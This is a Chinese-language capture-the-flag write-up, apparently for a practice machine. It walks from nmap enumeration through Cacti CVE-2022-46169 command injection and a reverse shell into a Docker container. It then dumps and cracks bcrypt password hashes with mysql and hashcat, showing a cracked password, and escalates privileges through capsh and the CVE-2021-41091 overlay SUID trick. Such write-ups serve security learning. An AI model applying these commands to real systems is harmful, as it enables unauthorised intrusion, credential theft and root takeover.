OverView
心得:网上公开的 Exp,一个没有打成功的话不要卡在那里,多换几个试一下。
Enumeration
Nmap
sudo nmap -sCV -T4 -p- 10.10.11.210 -o target
结果如下:
# Nmap 7.93 scan initiated Mon May 1 23:27:25 2023 as: nmap -p- -T4 -sCSV -v -Pn -o target 10.10.11.211
Nmap scan report for 10.10.11.211
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 1 23:38:14 2023 -- 1 IP address (1 host up) scanned in 649.95 seconds
HTTP
直接打开 80 端口,是一个登录界面,一开始我并不知道是一个开源的应用,找不到什么突破口。直到我扫描了一下目录。
说实话,看着那 copyright 的时候我就应该去搜一下Cacti
了
CVE-2022-46169
稍微的搜索了一下,很快就发现这个通用漏洞披露。
https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
稍微看了一下,大概意思就是 remote_agent.php
这个文件可以未授权访问,并且在用一些常见 Header 获得客户端的 IP 地址可以绕过授权。绕过授权后可以通过触发相关功能比如polldata
这个可以实现命令注入。
嗯,稍微了解了一下,那肯定是找别人写好的工具直接打啊。试了好多个都打不通,最后发现 https://github.com/m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application.git 这个修改一下直接打(将 local_ccacti_ip 换成 127.0.0.1 即可成功)
Docker
反弹了一个 shell 回来,发现居然没有 Python。有问题!用 linpeas.sh 测试发现当前的 shell 是在一个 docker 容器里。
贴心的 linpeas 又把一些敏感信息比如密码找到了
还告诉我 SUID 的文件
参考 https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf 根据 https://gtfobins.github.io/gtfobins/capsh/ 可以直接使用
capsh --gid=0 --uid=0 --
但是这里还是 docker 中的 root 暂时没有什么用,拿不到 flag。
Mysql
又稍微的查了一下发现 catic 是有数据库的,还有配置文件的位置信息。我们读取 /var/www/html/include/config.php
可以发现数据库相关密码等信息
由于这个 docker 容器中没有 Python3 我拿不到完美交互式的 shell,因此无法直接连接 mysql 进行查询比如:
mysql -uroot -h db -p
因此我们可以考虑使用 -e
参数
mysql -uroot -h db -e 'show tables from cacti;' -p
mysql -uroot -h db -e 'show columns from cacti.user_auth;' -p
mysql -uroot -h db -e 'select username,password from cacti.user_auth;' -p
$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
了解了一下加密类型
然后我们去 https://hashcat.net/wiki/doku.php?id=hashcat 很容易可以找到爆破模式是 3200
直接 hashcat
hashcat -m 3200 hash -a 0 /usr/share/wordlists/rockyou.txt
跑了那么十多分钟,只跑出了一个
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
Foothold
试一下
ssh [email protected]
成功,能够读取到第一个 flag 了并且登录后提示我有邮件
找了找发现邮件位置在/var/mail
Privilege escalation
CVE-2021-41091
根据邮件信息,估计是让我打这个容器提权漏洞。
findmnt
发现了两个 Overlay 配置的文件
The overlay filesystem is a critical component in exploiting this vulnerability. Docker’s overlay filesystem enables the container’s file system to be layered on top of the host’s file system, thus allowing the host system to access and manipulate the files within the container.
但是发现只有 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
是可以访问的
因此在第一个接触到的 docker 容器中尝试将/bin/bash
设置 SUID 权限
然后到当前容器挂载位置调用 bash -p
直接成功提权了